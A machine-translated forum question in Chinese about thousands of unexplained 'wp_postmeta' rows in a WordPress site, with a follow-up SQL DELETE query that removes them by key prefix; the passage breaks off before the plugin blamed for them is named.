所以我在大约 2 个月前为某人创建了一个网站，最近他们的网站出现了一些错误。我检查了数据库以查看这是否是错误的来源，并且在“wp_postmeta”表中我找到了错误的来源。该表中有大约 10,000 多条记录，具有以下“元密钥”
_wp_plugin_attachment_metadata_15bb2106fd50f3ff3f8...
每次名字都不一样，名字比较长。他们都将其作为“meta_key”，并且每个都属于网站上的一个页面。知道这是什么吗？如果他们有任何快速删除它而不会对网站造成伤害的方法？
【问题讨论】：
对于遇到此问题的其他人，请使用下面的代码（您可能需要更改它）
DELETE FROM wp_postmeta WHERE SUBSTR(meta_key, 1, 31) = '_wp_plugin_attachment_metadata_'

因为这个插件，我遇到了这个问题：
